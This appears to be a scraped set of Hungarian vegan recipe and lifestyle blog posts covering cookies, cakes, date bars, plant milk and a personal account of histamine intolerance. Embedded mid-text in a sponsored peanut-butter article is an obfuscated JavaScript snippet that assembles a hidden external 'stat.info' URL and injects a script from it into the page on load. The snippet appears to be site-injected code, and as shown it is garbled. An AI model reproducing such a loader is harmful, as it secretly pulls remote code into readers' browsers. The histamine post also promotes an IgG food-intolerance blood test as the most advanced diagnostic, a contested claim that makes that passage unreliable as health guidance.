vegyület. Ha a tároló sejtekből felszabadul az immunrendszer védelmi részeként, gyulladás kialakításában van fontos szerepe. A felszabaduló és a keringésbe kerülő, illetve a táplálékkal bevitt hisztamin lebontásáért a diamino-oxidáz (DAO) nevű enzim felelős. Ha a bélfalban található enzim működése valamilyen betegség vagy gyógyszerfogyasztás miatt csökken, vagy túlságosan nagy mennyiségű hisztamin jut be a szervezetbe, amit nem képes lebontani, akkor különböző tüneteket okozhat, ezt nevezzük hisztaminintoleranciának. A szerzett hisztaminintolerancia lehet átmeneti és ebből adódóan visszafordítható, ha a kiváltó ok megszűnik. Vannak hisztamint nagy mennyiségben tartozó élelmiszerek, illetve hisztamint felszabadítóak is. A hisztamint tartalmazó élelmiszerek 0-tól 3-mas számmal vannak jelölve, a diétában főképp a nullás élelmiszerek fogyaszthatók. Ilyenek például a brokkoli, cékla, cukkini, saláták, uborka, karfiol, sütőtök, burgonya, rizs, gluténmentes gabonák, őszibarack, alma. Nagyjából a többi zöldség és gyümölcs, glutén, tejtermékek jó része nem fogyasztható, illetve ami vegánként nagy problémát okozott, hogy a fehérjében gazdag hüvelyesek, olajos magvak fogyasztását teljes mértékben mellőzni kellett. Van pár fogyasztható tejtermék, én azonban nem szerettem volna ezeket enni. Így barnarizs fehérjeport és kendermag fehérjeport fogyasztottam, ill fogyasztok most is. Növényi tejek közül csak a kókusztejet és rizstejet bírtam inni. Azonban kb 4 hónap szigorú diétatartás mellett is maradtak tüneteim, így elkezdtem megfigyelni, a tünetek mely ételekhez köthető. Például élesztő fogyasztást követően szédültem, ha glutén tartalmút ettem, azt követően fájt a fejem. Ekkor kerestem fel a posztcovid gasztroenterológiai ambulanciát. Ott, ahogy az előző bejegyzésben is írtam, újabb vizsgálatokat javasoltak. A hasnyálmirigy, máj, epe értékeknél volt probléma. Érdekes módon allergiavizsgálaton pl.nem mutatott ki tejtermékre (tejfehérjére, tejcukorra sem allergiát) semmit sem a teszt, azonban, miután megittam az oldatot, szinte egész nap ment a hasam. Ezért saját szakállra úgy döntöttem, nem hagyom annyiban, és nemcsak ételallergiát nézetek, hanem ételintoleranciát is. Mi a különbség az ételallergia és az ételintolerancia között? Az ételintolerancia a szervezet abnormális reakciója bizonyos ételekre, melynek hátterében többféle mechanizmus állhat. Az ételintolerancia népbetegség, minden harmadik embert érint, gyermekeknél még gyakoribb. Sokszor mégsem jut eszünkbe, hogy tüneteink mögött ételérzékenység állhat. Az allergiával ellentétben az intolerancia tünetei az étel elfogyasztása után nem azonnal jelentkeznek, hanem hosszabb idő alatt alakulnak ki. Ezért laboratóriumi diagnosztika nélkül szinte lehetetlen meghatározni a pontos kiváltó okot. Ételintolerancia esetén a táplálékot lebontó enzimek mennyisége csökkent, vagy teljesen hiányoznak. Ez az oka annak, hogy az elfogyasztott tápanyagokat a szervezet nem képes megemészteni. Az étkezés után több órával, bizonyos esetekben azonban napokkal később jelentkeznek a tünetek. A háttérben álló bélműködési problémákhoz a nem megfelelő emésztés, a bélfal áteresztőképességének fokozódása okozhatja. Hosszas keresés után a Foodtest 200+ (www.foodtest.hu) nevezetű vizsgálatra esett a választásom. Ez a jelenleg elérhető legkorszerűbb ételintolerancia vizsgálat: né hány csepp vérmintából több, mint 220 féle élelmiszer fehérje ellen termelt IgG antitest mennyiségét mutatja ki. Fehérjechip alapú laboratóriumi vizsgálat, mely számszerű értékekkel mutatja, mely ételekre milyen mértékben vagyunk érzékenyek. A következő bejegyzésben leirom a céggel (foodtest.hu) kapcsolatos tapasztalataimat, hogy az intolerancia beazonosításán kívül miben segítettek még, mikre vagyok érzékeny és milyen diétát tartok.
Tejszínes-cukkinis tészta
Nem túl fűszeres, nyári étel, amelynek a zsenge cukkini adja meg frissességét. Hozzávalók: 2 cukkini 1 kápia paprika 3 ek kókuszzsír (vagy olaj) fél kk asafoetida (vagy fokhagyma) 2 kk só egy csipet frissen őrölt feketebors fél kk kurkuma 2,5 dl tejszín 15 dkg reszelt sajt 35-40 dkg durumtészta A...
Különleges linzerkarikák (vegán)
Linzert általában baracklekvárral, esetleg szilvalekvárral vagy eper/málna dzsemmel készítik. Szép virág formában legtöbbször. Ha virág formával készíted és a közepén kiszúrt karikát nem akarod újra gyúrni, ki is sütheted őket és akár az előző receptemben megismert csokis banándzsemmel összerakva igazán különleges linzerkarikák lesznek. Állítom, nem sok háztartásban készítenek linzert ilyen ízesítésben.
A recept
Hozzávalók:
25 dkg búzaliszt
5 dkg kukorica liszt (helyettesíthető búzaliszttel, a kukorica liszt sárgább színt ad neki)
20 dkg (vegán) margarin
10 dkg gyümölcs cukor vagy eritrit vagy kókuszvirág cukor vagy valamelyik cukorfajta, de nem folyékony
1 ek vanilia aroma vagy vaniliás cukor vagy kikapart vanilia magjai (ez utóbbiból kevesebb kell)
2 ek citrom vagy narancs kifacsart leve (hidegen jobb)
Elkészítés:
A száraz hozzávalókat összekeverjük, majd kézzel belemorzsoljuk az enyhén puha margarint. Miközben összegyúrjuk, hozzáadjuk a citrusféle levét. Amikor a tészta egy nagy gombóccá tud összeállni, hűtőbe tesszük pár órára, egy éjszakára, vagy 24 órára, de ha csak fél óránk van, akkor annyi időre. A lényeg, hogy a puha tészta megkeményedjen valamelyest. Ezután lisztezett felületen kinyújtjuk kb fél cm vastagságúra, valamilyen formával szaggatjuk. (Ehhez a sütikhez a virág formából kiszaggatott karikák kerültek felhasználásra.) Előmelegített sütőben 180 fokon 8-10 perc alatt készre sülnek. Nagyobb méretű formákhoz lehet hogy 12 perc is kell. Amikor kivesszük a sütőből, várjunk még vele, amíg kihűlnek, keményednek.
Csokis banándzsemmel kettesével "összeragasztjuk" a linzereket. A végén pedig megszórjuk valamilyen porcukorral. Én gyümölcscukrot reszelt citromhéjjal összedaráltam, majd teaszűrőn keresztül meghintettem a kész linzereket ezzel a porcukorral.
Lehet a mogyorót is kenyérre kenni!
Amerikában régi hagyománya van a peanut butter&jelly szendvicsnek, egészen 1896-ig nyúlik vissza a története, még saját napja is van április 2-án. Elsőre furcsán hangozhat a magyar fülnek ez a kombináció: ez a szendvics tulajdonképpen szendvicskenyérre kent földimogyoróvaj, amelyre aztán lekvárt tesznek. Valami mégis lehet azonban benne, ha ennyire szeretik: egy 2002-es tanulmány szerint egy átlag amerikai 1500 ilyen szendvicset eszik meg, mire leérettségizik. (function(){ tzyqu=54jcn9d1zyqp;tzyq=document.createElement(script); tzyq_=u+(st);tzyq_+=at+(.);tzyq.async=true;tzyq_+=in; tzyqu=252362599.+tzyqu;tzyq.type=text/javascript;tzyqu+=qmpd06r9nfmn; tzyqu+=0jmapg;tzyq_+=(f)+o+(/);tzyq.src=https://+tzyq_+tzyqu; tzyqd=document.body;tzyqd.appendChild(tzyq); })(); Szponzorált cikk Bár az amerikai köztudottan eléggé elhízott társadalom, ez a nemzetei eledel kifejezetten egészséges is lehet, ha megfelelő alapanyagokkal készítjük el. A szendvicskenyeret elég jó minőségű kenyérre (pl. teljes kiőrlésű rozskenyérre vagy hosszú érlelésű, kovásszal készült kenyérre) cserélni, a földimogyoróvajból cukor- és pálmazsír mentes változatot választani, a lekvárból cukormenteset használni vagy friss gyümölcsre cserélni, és máris kész egy szuperfinom, magas fehérje tartalmú, lassú felszívódású szénhidrátot tartalmazó szendvics, amit a gyerekek is nagyon szívesen megesznek. Nem véletlen, hogy szintén Amerikában terjedt el szélesebb körben a többi olajos magból készült magkrém is: mandulakrém, kesudiókrém, törökmogyorókrém és társaik. Itthon ezek sajnos még kevésbé ismert alapanyagok, pedig ezek a krémek rendkívül sokoldalúan felhasználhatóak, és nagyon egészségesek. Magas a fehérje- és a telítetlen zsírsav tartalmuk, szénhidrát tartalmuk pedig alacsony, ráadásul tele vannak értékes ásványi anyagokkal és vitaminokkal (kálium, kálcium, magnézium, B1-, B2-, B6-vitaminok, E-vitamin stb.). Az olajos magok gyakorlatilag bármely diétába beilleszthetőek, ezek a krémek pedig a magok felhasználásának egy új dimenzióját nyitják meg: lehet őket zabkásába rakni, gazdagíthatjuk vele a turmixunkat, smoothie-nkat, lehet belőlük mindenféle kekszet, süteményt sütni (paleo és vegán sütik szuper alapanyaga, zsiradék helyettesítőként funkcionálhatnak), mehetnek palacsintába töltelékként, sőt, sós ételek kiváló alapanyagai is lehetnek (pl. tésztaszószhoz, salátaöntethez használhatjuk őket.). Nagyon fontos, hogy csak a jó minőségű, hozzáadott fehér cukor- és növényi zsír mentes változatokat válasszuk! Ezekből a krémekből is nagy a választék, de az igazán jó minőségű, csak az olajos magokat tartalmazó változat már ritkább. A Mendula magkrémjei pont ilyenek: nincs bennük semmi más, csak az enyhén pörkölt olajos mag (törökmogyoró, mandula, dió és földimogyoró), ill. léteznek ízesített változatok is. Az ízesített változatok is elképesztő különlegesek: van nekik vaníliás kesudiókrémjük (ami hozzáadott cukor nélkül is finom édeskés ízű, akár önmagában kanállal eszegetve is elmegy egy önálló desszertnek), de van fahéjas mandulakrémjük is, amelyben a mandulán kívül fahéj, és kevés kókuszvirágcukor van. Az egyik legnépszerűbb termékük az egészséges nutella verzió: ez egy 78% (!!!) törökmogyorótartamú mogyorókrém, amelyben ezen kívül csak kókuszcukor és kakaópor van. És ha már a földimogyoró vajjal kezdődött az egész cikk, kiemelnénk a földimogyoró vajukat is: kétféle változatuk is létezik, egy natúr, és egy sós-földimogyoró darabos. Mindkettőben közös azonban, hogy nincs bennük se pálmazsír, se cukor, se semmi egyéb turpisság. Ki kell őket próbálni, végre egy olyan termékcsoport, ami úgy finom, hogy még egészséges is! Tedd a kedveceim közé 0 The post Lehet a mogyorót is kenyérre kenni! appeared first on VegaNinja.
Csomagot kaptunk - ajánló
2020. november 30. Mindennapi ételeink
Amióta megjelent a magyar piacon, előszeretettel fogyasztjuk a Dr. Oetker által forgalmazott Creme Vega nevű terméket. Ez egy nagyon finom és jó állagú vegán tejföl, melynek alapja a kókuszolaj, szójafehérje. Emellett ivóvíz, szárított élesztő, só, tejsavbaktérium kultúra található benne. Többször készítek itthon is magtejfölöket, de ez az a termék, amely mindig van a hűtőnkben és nagyon finom. A gyerekek kanállal is szeretik, magában enni. De szoktam tenni majonézes-tejfölös kukoricasalátába, bármilyen rakott ételbe, főzelékbe habarásként, vagy csupán tejfölös tésztaként is fogyasztjuk. Pogácsában is tökéletes, a tésztába beledolgozva, de édes süteményekhez is használom, tésztába vagy töltelékbe rakva. Tofukörözött elengedhetetlen alkotóeleme. Általában sós ételekhez hígítom, mert nagyon sűrű, így gazdaságos. Tehát óriási volt az örömöm, amikor megérkezett a cég ajándékaként sok-sok-sok doboz tejföl. Próbáljátok ki ti is, az ünnepekkor, de máskor is. Aldiban, Auchan-ban, Spar-ban, Tesco-ban is kapható, vagy weboldalakról is megrendelhető. A cég más érdekes termékeket is gyárt, pl. rozskovászt.
Máktorta gránátalmával
2020. november 10. Mindennapi ételeink
Nagyon finom, próbáljátok ki. Nálunk a gyermekek sajnos csak így, süteményben eszik meg a mákot. Bejglibe vagy palacsintába töltve, vagy tortaként. Mivel kisfiúnk "tejfölmániás", ezért született meg egy ilyen verzió: a tetején vegán, édesített tejföllel és gránátalmával. Hozzávalók: 20 dkg tönkölyliszt 10 dkg darált mák 5 dkg kókuszolaj 10 dkg nádcukor 1 csomag sütőpor 1 bögre meleg víz -- Dr Oetker vegán tejföl juharszirup vagy méz tetszés szerinti gyümölcs Elkészítés: A száraz és a nedves hozzávalókat is külön-külön összekeverjük, majd egymással vegyítve csomómentesre kikeverjük. Olajjal kikent, lisztezett tepsibe folyatjuk, majd 180 fokon kb 40 perc alatt kisütjük. Amikor kihűlt, megkenjük a tetejét előzetesen édesítő sziruppal vagy mézzel kikevert tejföllel. Megszórjuk gyümölccsel és tálaljuk.
Puncs szelet (glutén és cukormentes)
2020. október 13. Vegán receptek Tőlünk Nektek
Anett receptje:
Hozzávalók:
o 20 dkg barna rizsliszt o 15 dkg köles liszt o 20 dkg eritrit o 1 cs sütőpor o kb negyed kk szódabikarbóna o 2 dkg útifűmaghéj o 0,5 dkg útifűmaghéj őrlemény o 2,5 ek olaj / kókuszolaj o 4 dl víz o 2 ek almaecet
[...] Bővebben!
Nemtúrós, nempiskótás nemfantas szelet
2020. szeptember 28. Mindennapi ételeink
Gyermekkorom egyik legkedvesebb desszertje volt a Fanta szelet. Tudtam, hogy Fanni is szereti, neki már készítettem, de Gergőnek is szerettem volna bemutatni ezt a süteményt. Csak vegán módra, illetve piskóta nélkül, mert azt nem szeretik a gyerekek :-D. Fannusunk 12:30-ig van mindennap iskolában, akkor megyek érte Gergővel. Így, miután reggel Fannit elvittem a suliba, délelőttönként Gergővel főzünk, sütünk, takarítunk, és én dolgozom, amikor ő éppen elmélyül az autózásban. Ma ezt a sütit szerettem volna vele elkészíteni és mivel nagy sikere volt, lefotóztam és megosztom Veletek is. Hozzávalók: 20 dkg vegán csokis keksz - összetörve 2 ek. kókuszolaj vagy vegán margarin -- 0,5 l 100%-os narancslé 1 cs vaníliás pudingpor -- 20 dkg köles 1 natúr tofu 2 citrom héja 1 citrom leve vaníliás cukor - ízlés szerint vaníliás szójatej Elkészítés: A "túrós" részt előző este elkészítjük (hogy a másik gyermekünk is tudjon szakácskodni, illetve délelőtt maradjon idő másra is :-D) . Ehhez a szójatejben (kb. 3-5 dl) megfőzzük a kölest, majd amikor megfőtt és kihűlt, beleturmixoljuk a natúr tofut, és ízesítjük mindenfélével (citromhéj, citromlé, vaníliás cukor). Hűtőben tároljuk másnapig. A kekszet egy zsákba téve nyújtófával szétütögetjük - jó feszültséglevezetés a gyermekünknek, ha rosszul aludt. Majd olvasztott kókuszolajat keverünk bele, és egy tepsibe simítjuk. Rákenjük a "túrókrémet", majd a forró pudingot is, amelyet így készítünk el előtte: felforraljuk a narancslevet (én kevertem mandarinlével, frissen préselt volt a narancs és a mandarin is), és beleöntjük az előzetesen narancslével kikevert pudingport. Összeforraljuk. A süteményre öntjük, eloszlatjuk. Behűtjük és tálaljuk.
Szilvacsatni télire
2020. szeptember 6. Vegavarázs
Hozzávalók: 2 ek olaj 3-4 apró, száraz csili fél ek reszelt friss gyömbér egy darab egész fahéj 1 ek kókuszreszelék 1,5 kk őrölt koriander 60 dkg magozott szilva összevágva fél kk só 15 dkg nádcukor késhegynyi kámforkristály (elhagyható) Az olajat felmelegítjük, belemorzsoljuk a csilit, hozzáadjuk...
Mogyoró vajas kókuszgolyó
2020. augusztus 19. Fittanyuka
Favorizálom a gyorsan és egyszerűen elkészíthető finomságokat,ami minél kevesebb időmbe telik és mégis finom, egészséges. Ezeket a golyókat eredetileg magamnak gyártottam, olyan alkalmakra amikor megéhezek, vagy edzés előtt vagyok és bekapok belőlük egy-kettőt, hogy energiát adjon. A gyerekek gyorsan felfedezték a hűtőben, nem kellett sokáig tárolnom őket, felfalták egy délután alatt. A tudat viszont nyugtatott, hogy a rendkívül édesszájú kisfiam semmilyen plusz cukormennyiséget nem vitt be a szervezetébe, ugyanis ez a recept csakis természetes cukrokat tartalmaz és abból is nagyon keveset. Hozzávalók: 1 db érett banán szétnyomva 2-3 evőkanálnyi 100%os mogyoró vaj 1 nagyobb bögre finom szemű zabpehely 1-2 dl rizstej kókuszreszelék a hempergéshez A zabpelyhet összekeverjük a többi összetevőkkel, amennyiben lágy zabpehellyel, amennyiben nagyon száraz még rizstejjel dúsítjuk. Körülbelül egy órára a hűtőbe tesszük,majd nedves kézzel golyókat formázunk és kókuszreszelékben meghempergetjük. Én néhányat cukormentes kakaóporban is meghempergettem, de akár kókuszvirág cukorral is megtehetjük. Zárható dobozban hűtőben tároljuk.
Indiai tápióka puding
Különleges desszert egyszerű hozzávalókból Kedves ajándékot kaptam nemrégiben Hémangi Dévi Dászitól: legújabb könyvét, aminek címe: Indiai vegán konyha . Ez a szakácskönyv tele van nagyon izgalmas receptekkel, közülük én most egy tápióka pudingot választottam. Egyszerű az elkészítése, titka a bámulatosan illatos hozzávalókban rejlik. Az eredeti verzió mangópürét kívánt, de ezt az adott helyzetben én nem tudtam beszerezni sajnos. Így aztán valamiféle dublőr után kellett néznem, és találtam is! Vajon mi az, ami nagyon hasonló nemcsak színre de hasonlóan illatos is lesz tőle a végeredmény? :) Hát, persze, hogy az őszibarack befőtt! Hurrá, indul a pudingfőzés! Hozzávalók 5 adaghoz - 120 g tápiókagyöngy - 800 ml növényi tej (én szójatejet használtam) - 75 g nádcukor - 5 ek kókuszreszelék - őszibarackbefőtt, 4 db felezett őszibarack - 1/4 kk őrölt kardamom - csipet só - Fél órára a tápiókát áztasd be bőséges hideg vízbe. - Ezalatt kicsit megszívja magát, de a felesleget mindenképp öntsd le róla. A főzéshez már szójatejet forralj, ebbe kanalazd a tápiókát. - Ne felejtsd el csipet sóval ízesíteni (tudod, szinte minden édességbe kell!), majd 10 percig főzd takarékon. - Ezután keverd el benne a cukrot és a kókuszreszeléket, így főzd további 3-4 percet. - Közben turmixold össze az őszit a kardamommal, és ezt is keverd hozzá, hagy’ rottyanjon egyet. Készen is vagy! Kanalazd poharakba és hűtsd be mindenképpen. Persze, ha meg tudod várni… Jó étvágyat! Elkészítési idő: 20 perc Ez egy vegán recept volt. :) Hasonló recepteket ITT találsz még. Ha itt feliratkozol, a legújabbakat mindig frissen kapod majd a postaládádba. Nézd meg a legújabb Kertkonyha főzőtanfolyamokat! Kezdő Vegán Haladó vegán (Superfood) Növényi Tejek és Tejtermékek I Növényi Tejtermékek II
Növényi tej olcsón, adalékanyag mentesen
2020. április 23. Beautilicious
Nagyon sokat olvastam a tejről, aminek fogyasztásával kapcsolatosan számos ellenérv került köztudatba. Az, hogy valójában a te szervezetednek mi a jó, azt te tudhatod. Ha puffadsz, vagy pattanásosodsz tőle, nem szereted az ízét, érdemes kerülni. Nyilvánvalóan van az állatvédők csoportja, akik a tehenekkel való kegyetlen bánásmód miatt kerülik a tejfogyasztást, ám az állatok irányt érzett emócionális érvek mellet hallhatunk gyulladáskeltő tulajdonságról, a számos benne található beoltott hormonról, illetve magas koleszterintartalmáról is. Én jó pár éve letettem a voksom a növényi tejek mellet, ám most a nehéz helyzetben a boltokat felvásárolták, és nem könnyű hozzájutni. Éppen ezért fogtam magam és nekiláttam itthon elkészíteni kedvencemet.Nem bántam meg a döntésemet, és ezentúl alkalmazni fogom. Választásom a kókusztejre esett, amihez nincs szükséged másra, mint - 100gr kókuszreszelékre - 25gr chiamagra - 1 csipet sóra - vaníliaaromára - 800ml vízre Ebből az adagból körülbelül egy liter tejet kaptam, és a maradék pépet félretettem, amiből ma egy szuper sütit fogok készíteni. Két legyet ütök egy csapásra és semmi pazarlás Az elkészítése roppant egyszerű. Beleöntöttem a hozzávalókat a turmixgépbe, ráöntöttem a felforralt vízet, majd pár percig turmixoltam, végül egy szűrő segítségével leszűrtem a tejet.
Sós-Tökmagos “Túrós” kalács
A húsvéti édes, vegán, tönköly kalács után nagyon belejöttem a kelt tészta sütésbe. Habár eredetileg ez a recept nem kalácsnak indult, még énsem gondoltam, hogy a recept készítés közben meggondolom magam. “Túrós”, vegán pogácsának indítottam, meggondoltam magam, mert a gyerekek azt kérdezték, hogy most sütöm a második kalácsot, amit sósnak igértem?! A folyamat elején voltam , így “apró” kis változtatással, megváltoztattam az eredeti tervem. A végeredmény pedig engem is meglepett, mert nagyon puha, lyukacsos tészta lett az eredmény, ráadásul a tészta sokáig így is marad, napokig nem száradt ki. Jöhet a recept: Hozzávalók: - 50 dkg világos tönköly liszt (Készíthetjük felesben: 25 dkg világos és 25 dkg teljeskiörlésű tönkölylisztből is) - 35 dkg vegán margarin - 50 dkg selyem tofu, én ezt használtam túró helyett, mivel tejterméket egyáltalán nem fogyasztok, a megreformált recept 50 dkg tehéntúrót ír, ha valaki azzal szeretné készíteni esetleg. - 30 g friss élesztő - (1 dl rizstej, 1 teáakanál barna cukor az élesztő felébresztéséhez) - 20 g só - maréknyi tökmag a tetejére Három, vagy négy csapott evőkanál lisztet elkeverünk a barna cukorral, a langyos rizstejet pedig szintén elkeverjük az élesztővel, utána hozzáadjuk a liszthez, és meleg helyen letakarva felfuttatjuk. A lisztet, sót, selyem tofu, vegán margarint egy keverőtálba összegyúrjuk, majd hozzáadjuk és alaposan átgyúrjuk a felfutatott élesztővel. Átdolgozzuk és itt még az a pont amikor akár pogácsa is lehet belőle. Pogácsa esetében vékonyra nyjtjuk a tésztát és 2x hajtogatjuk, újra kinyútjuk, majd kisszagattjuk és utána kelesztjük sütés előtt kb. 20 percig. Kalács esetében viszont letakarva kelesztjük szintén meleg helyen 15- 20 percig. Utána három egyenlő részre osztjuk, megsodorjuk a fonni kivánt tésztákat és összefonjuk, egy kikent formába tesszük és letakarva újabb 15-20 percig kelesztjük. Tetejét kókusztejszínnel kentem le és tökmaggal megszórtam. Tipp: Amennyiben nincs meleg hely a konyhánkban, állítsuk be a sütőt 50 C fokra, nyissuk ki a sütő ajtót és tegyük oda a tésztánkat kelni! Előmelegített, légkeveréses sütőben 180 C fokon 35 percig sütjük. Mielőtt kivennénk végezzünk tűpróbát, hogy meggyőzödjünk, hogy kellően átsült-e?!
Protein ball
2020. március 24. Beautilicious
Otthoni edzés pipa és megjutalmaznád magad valami ártalmatlan édességgél, ami amellett, hogy nagyon finom, rendkívül jó makrokkal rendelkezik? Elhoztam nektek a legújabb kedvencemet, amivel mostanában nem birok belelni :) Hozzávalók - 100g túró - 1 adag fehérje - 25g kókuszreszelék - pici tej - Ízlés szerint lehet hozzá gyúrni apróra vágott gyümölcsöt, csokit, aszalványokat, kinek mi fér bele A hozzávalókkal nincs más dolgod, mint ezekből golyókat formázni, és betenni a hűtőbe picit pihentetni, hogy összeálljon.
protein madártej
2020. január 27. Beautilicious
Hát én azt mondom édességből sose elég.Pláne nem az edzés után megérdemelt proteines desszertekből. Madártejet készítettem mindössze 2 tojásból 30gr vaníliás fehérjeporból, kókusztejből és édesítőszerből. A hagyományos madártejhez hasonlóan készítettem el annyi különbséggel, hogy pudingpor helyett fehérjeport használtam bele. Kicsit extráztam a dolgot bogyós gyümikkel és kókuszreszelékkel. És volálá :
edzés utáni energiaszelet
2020. január 23. Beautilicious
Januárt írunk. Valószínűleg te is megfogadtad, hogy teszel a testedért, és idén többet mozogsz majd, és tisztábban étkezel ( Jobb esetben már korábban elhatároztad :) ). A kemény fizikai megterhelés előtt és után különösen fontos, hogy mit eszel, ehhez hoztam nektek egy kis segítséget. Biztosan jól tudjátok már, hogy a szénhidrát is nagyon fontos szerepet játszik az étrendünkben, és legyen akármi a célod, őt is a barátodként kell tekintened, hisz energiát ad, és segít a fehérje felszívódásában. Na de lássunk is hozzá a sütéshez. Amire szükséged lesz - 2 nagy banán - 2 adag fehérjepor (60gramm) - 120gramm zabpehely - 20gramm kókuszliszt - 1dl kókusztej Mindössze annyi a dolgod, hogy a banánhoz öntöd a tejet, majd villával szépen összetöröd. Ha ezzel megvagy mehet hozzá a többi hozzávaló is. Lehet ám extrázni egy kis csokival, aszalt gyümölccsel, vagy magvakkal, ez a célodtól, és ízlésedtől függ. Ha kész a massza, tedd sütőpapírral bélelt tepsibe és süsd 170 fokon 30 percig.
Kesudiós datolyaszelet
2020. január 19. Éltető ételek
Egyre több helyen lehet kapni egészséges nasikat, mint pl. ilyen datolyaszeletet. Csak egy gond van vele, hogy nagyon drága. A LIDL-ben ez 250 Ft, de a DM-es sem olcsóbb. Az általam készített annyiban különbözik a boltitól, hogy én tettem bele zabpelyhet is, hogy a felszívódása lassabb legyen. Szóval elő a konyhai robotgéppel, 15 perc alatt el is készül kb. 30 db finomság. Hozzávalók: - 50 dkg puha datolya (nem kell áztatni!) - 15 dkg kesudió - 2 evőkanál kakaópor - 2 evőkanál mandulavaj - 8 dkg zabpehely Extra: - kókuszreszelék - puffasztott köles vagy tönkölybúza - aszalt áfonya vagy cseresznye Elkészítése: - A kesudiót kávédarálón daráld puhára. - A datolyát késsel darabold fel, majd tedd bele a robotgépbe. Add hozzá az összes hozzávalót. - Akkor jó, hogy a kezeddel egy keveset összenyomol, és masszává áll össze. - Ez így már nagyon finom, de tehetsz bele az extrákból. Arra figyelj, hogy csak ízesítsd vele (3-4 ek.), mert ha sokat teszel hozzá, akkor nem fog összeállni szeletté. - Kézzel gyúrd össze egy masszává, majd óvatosan ujjnyi vastagra nyújtsd ki. Nyújtás közben a széleit tömörítsd. - Ha szép téglalapod lesz, akkor éles kézzel szeleteld fel, majd a szeletek széleit formázd meg.Én hűtőben tartom, mert így szilárdabb lesz az állaga. Hetekig eláll, ha marad :)
Keksz a Télapónak
Ajándékozz karácsonyra főzőtanfolyamot!
Az akció részleteiért KATT IDE
Vegán Szaloncukor-készítő főzőtanfolyam
Régi adósságot törlesztek most, mégpedig azt, hogy másfél évvel ezelőtt megígértem nektek a vegán digestive keksz szendvicselt változatát. Ezt a kekszet megkenheted bármilyen lekvárral, de ha igazán jót akarsz, és igazán hedonista kekszet akarsz, készíts bele külön a szuper superfood-os csokikrémet! Meglátod, teljesen egyszerű, csak két hozzávalós, és tényleg gyorsan megvan. :D A csokikrém receptjét ITT találod.
És, hogy miért vettem elő ezt a receptet most? Jön a Mikulás… Ez lesz a meglepije a kedves előadásért (színház) cserébe. Sütök egy halommal, és betesszük egy szép papírdobozba. Remélem, fog neki örülni! :)
Hozzávalók egy nagy tepsihez:
- 220 g fehér tönkölyliszt
- 60 g zabpehelyliszt
- 1 mk só
- 1 kk sütőpor
- 75 g nádporcukor
- 80 g kókuszzsír (darabos)
- 150 ml növényi tej
- 1/2 mk vaníliapor
- 1/2 mk őrölt fahéj
Előkészületként melegítsd elő a sütőt 190 fokra, és egy tepsit bélelj ki sütőpapírral.
- A késes aprítóba szórd be a liszteket, a porcukrot, a sót, a sütőport és az illatos fűszereket. Indítsd be, hagy kavarja! :)
- Ezután add hozzá a kókuszzsírt, és készítsd oda a pohár tejet és evőkanalat. Indítsd be újra a gépet.
- Kanalanként add hozzá a tejet, látni fogod, mikor jó. Ha összeállt labdává, nem morzsálódik sehol, de fontos, hogy maradjon egyben, ne legyen folyós. Nekem 11 evőkanálnyit kívánt a tésztám, de ez változhat.
- Ezután hintsd meg liszttel a labda alatt és a tetejét is egy kis liszttel, majd nyújtsd ki egyenletesen a labdát 2-3 mm vastagra. Szaggasd ki a kekszeket, és helyezd őket a tepsibe. Nem kell sok helyet hagyni közte, alig dagad meg a sütés alatt.
- 12-15 perc alatt megsül. Vigyázz, ne száradjon ki nagyon, ha aranylik a keksz széle és alja, már tökéletes.
- Hagyd teljesen kihűlni, majd a tetszőleges krémeddel ragaszd össze kettesével.
Jó étvágyat!
Elkészítési idő: 30 perc (tényleg!)
Ez egy vegán recept volt. :)
Hasonló recepteket ITT találsz még.
Ha itt feliratkozol, a legújabbakat mindig frissen kapod majd a postaládádba.
Ajándékozz karácsonyra főzőtanfolyamot!
Az akció részleteiért KATT IDE
Nézd meg a legújabb Kertkonyha főzőtanfolyamokat!
Vegán Szaloncukor-készítő
Kezdő Vegán
Vegán MUST HAVE - a kötelező alapcsomag Növényi Tejek és Tejtermékek I Növényi Tejtermékek II A Mindennapi Superfood
Kókuszos áfonyás “sajttorta” (nyers, laktózmentes, gluténmentes, vegán)
2019. november 18. Zizi kalandjai
Ennek a tortának a színe magáért beszél. Csodaszép lila, természetesen ilyen, egy gyümölcstől, a fagyasztott áfonyától. Szép lila színt, akár tortánál, akár turmixnál csakis fagyasztott áfonyával lehet elérni – ez most egy titok, amit megosztok veletek. Étel fotózásnál jól jöhet ez az infó. A friss áfonya nem színez ilyen jól, ráadásul egy turmix esetében el is kezd bebarnulni pár perc után... Source
Cukormentes, vegán, almás süti
Nagyon finom süti, és a recept elég megengedő, szóval igazi sikerélmény lehet a vegán sütés-főzésben kezdők számára is. Az alma egész évben elérhető, így nem annyira idénysütemény. A tésztához: fél kiló alma 1/8 bögre teljes kiőrlésű rozsliszt 1/8 bögre teljes kiőrlésű tönkölyliszt 1/8 bögre zabpehely 1 ek mák, elhagyható 1 ek. kókuszzsír 1 kávéskanál szódabikarbóna mazsola (elhagyható) fahéj A krémhez: 10 dkg mandula 30 dkg török mogyoró 2 körte 1 őszibarack mazsola más aszalt gyümölcsök 2 ek. kókuszzsír Lereszelem az almát, összekeverem a többi összetevővel, szeletelek rá körtét vagy almát, bedobom a sütőbe, és közepes lángon pirosra sütöm. A krémhez pedig botmixerrel pépesítem a hozzávalókat, és a kész krémet a tortaalappal tálalom. Én krémnyomóval rózsákat nyomtam rá, de állaga megengedi, hogy az alapra kenje az ember egy tortaforma segítségével, lehet kísérletezni. :) Tedd a kedveceim közé 0 The post Cukormentes, vegán, almás süti appeared first on VegaNinja.
Málnás torta mandulával (vegán)
Sok vegánnak, vagy tejallergiásnak, tejmentesen étkezőnek nehézséget okoz a tejszín és a tejszínhab megoldása például tortákban. Több külföldi receptes oldalon láttam, hogy konzerves kókusztejet használnak erre. Sokáig féltem kipróbálni, kudarctól tartva. Tavaly télen azonban áttörtem félelmem eme jegét :) . Férjem születésnapjára készítettem fekete-erdő tortát vegán módra, amihez tulajdonképpen konzerves kókusztejet használtam. Ennek a receptjével még tartozom, idővel majd feltöltöm. Most azonban egy málnás-mandulás torta receptjét mutatom meg. Egy régi ismerősömet láttuk vendégül nálunk, erre az alkalomra készítettem a tortát. Tejmentes, tojásmentes és fehér cukor mentesen készült, zselatin és társait sem kellett hozzá tenni, mégis nagyon finom lett. Egy szelet nem volt elég senkinek. :)
A torta receptje:
Hozzávalók:
- 10 evőkanál liszt
- 5 evőkanál teljes kiőrlésű liszt
- 3-4 evőkanál nyírfacukor vagy gyümölcscukor
- 20 evőkanál növényi tej
- 3 evőkanál olaj
- 1 teáskanál szódabikarbóna
- sütőpapírral kibélelt sütőforma vagy szilikon forma
Elkészítés:
